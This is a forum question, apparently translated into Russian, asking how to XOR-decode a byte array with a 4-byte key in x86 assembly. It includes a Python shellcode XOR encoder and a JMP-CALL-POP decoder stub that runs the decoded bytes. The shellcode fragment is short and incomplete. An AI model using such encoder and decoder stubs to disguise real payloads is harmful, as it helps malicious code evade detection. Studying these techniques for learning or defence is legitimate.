XOR с многобайтовым ключом в сборке - PullRequest
0 голосов
/ 19 февраля 2020

Я новичок в сборке (пожалуйста, поправьте меня, если я не прав), я пытаюсь выполнить XOR-массив байтов с помощью ключа XOR 4 байтов, я мог бы сделать XOR с одним байтом, но я понятия не имею, как это сделать, если он в сборке многобайтовый. Я мог бы сделать это с python, но со сборкой я застрял. Кто-нибудь может помочь?

#!/usr/bin/env python
import sys

shellcode = ("\x31\xc0\x99\x52\x68\x2f\x63\x61")
res = ""
key = '\xde\xad\xbe\xef'.encode('hex')

def xor_strings(s1, s2):
    return ''.join(format(int(a, 16) ^ int(b, 16), 'x') for a,b in zip(s1,s2))

step = 4

for i in range(0, len(shellcode)-1, 4):
    byte = shellcode[i:step].encode('hex')  + '90'*((8-len(shellcode[i:step].encode('hex') ))/2)
    xor_str = xor_strings(byte, key)
    res += "%s," % ','.join([ '0x' + xor_str[ii:ii+2] for ii in range(0, len(xor_str), 2)])
    step += 4

print res

Я отредактировал ASM-код, чтобы читать слова, но все равно не повезло

global _start:

section .text
_start:

    jmp short call_shellcode

decoder:
    pop esi        
    xor edx, edx 
    xor ecx, ecx 
    mov cl, slen
    mov edx, 0xefbeadde ; deadbeef

decode:
    xor dword [esi], edx

    add esi, 4
    sub ecx, 4
    jnz decode 

    jmp short EncodedShellcode

call_shellcode:
    call decoder
    EncodedShellcode: db 0xef,0x6d,0x27,0xbd,0xb6,0x82,0xdd,0x8e
    slen equ $-EncodedShellcode
...